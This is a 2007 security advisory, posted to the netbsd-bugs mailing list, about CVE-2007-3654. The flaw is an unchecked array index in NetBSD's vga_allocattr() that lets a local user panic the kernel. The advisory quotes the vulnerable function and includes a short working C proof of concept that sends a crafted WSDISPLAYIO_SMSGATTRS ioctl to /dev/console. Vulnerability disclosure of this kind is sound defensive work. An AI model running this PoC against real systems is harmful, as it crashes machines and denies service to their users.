Subject: NetBSD kernel vga_allocattr vulnerability
To: None <netbsd-bugs@netbsd.org>
From: xiaozhu002 <xiaozhu002@gmail.com>
List: netbsd-bugs
Date: 08/03/2007 09:29:46
NetBSD kernel vga_allocattr vulnerability
[Security Advisory]

Advisory: [AD_LAB-07002] NetBSD kernel vga_allocattr vulnerability
Class: Design Error
DATE:6/24/2007
CVEID: CVE-2007-3654
Vulnerable:
    NetBSD
Vendor:
    http://www.netbsd.org/

I.DESCRIPTION:
-------------
    NetBSD kernel is an open source operating system.
    The NetBSD kernel is prone to a denial-of-service vulnerability.
This issue is
due to a design error in the 'vga_allocattr()' function.

II.DETAILS:
----------
    There is a vulnerability in function vga_allocattr(void *id, int fg,
int bg, int flags, long *attrp).
user can control the fg and bg parameter,it will as the array fgansitopc
and bgansitopc's index, without bounds check,if user set a
big index value, will casue an access violation. It will lead to a
kernel panic.
vga_allocattr(void *id, int fg, int bg, int flags, long *attrp)
 {
         struct vgascreen *scr = id;
         struct vga_config *vc = scr->cfg;

         if (vc->hdl.vh_mono) {
                 if (flags & WSATTR_WSCOLORS)
                         return (EINVAL);
                 if (flags & WSATTR_REVERSE)
                         *attrp = 0x70;
                 else
                         *attrp = 0x07;
                 if (flags & WSATTR_UNDERLINE)
                         *attrp |= FG_UNDERLINE;
                 if (flags & WSATTR_HILIT)
                         *attrp |= FG_INTENSE;
         } else {
                 if (flags & (WSATTR_UNDERLINE | WSATTR_REVERSE))
                         return (EINVAL);
                 if (flags & WSATTR_WSCOLORS)
                         *attrp = fgansitopc[fg] | bgansitopc[bg];
//index error
                 else
                         *attrp = 7;
                 if (flags & WSATTR_HILIT)
                         *attrp += 8;
         }
         if (flags & WSATTR_BLINK)
                 *attrp |= FG_BLINK;
         return (0);
 }
user can use ioctl to reach this function.
poc:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <dev/wscons/wsconsio.h>

int main(int argc, char **argv) {
        int fd;
        struct wsdisplay_msgattrs wsd={0,0,0,0,0,0};
        wsd.default_attrs=0x1000;
        wsd.default_bg=0x80000000;
        wsd.default_fg=0x10;
        fd=open("/dev/console",O_RDWR);
        syscall(SYS_ioctl,fd, WSDISPLAYIO_SMSGATTRS, &wsd);
}

III.CREDIT:
----------
    Venustech AD-LAB discovery this vuln. Thank to all Venustech AD-Lab
guys.

V.DISCLAIMS:
-----------

The information in this bulletin is provided "AS IS" without warranty of
any
kind. In no event shall we be liable for any damages whatsoever
including direct,
indirect, incidental, consequential, loss of business profits or special
damages.

Copyright 1996-2007 VENUSTECH. All Rights Reserved. Terms of use.

VENUSTECH Security Lab
VENUSTECH INFORMATION TECHNOLOGY CO.,LTD(http://www.venustech.com.cn)

Security
Trusted {Solution} Provider
Service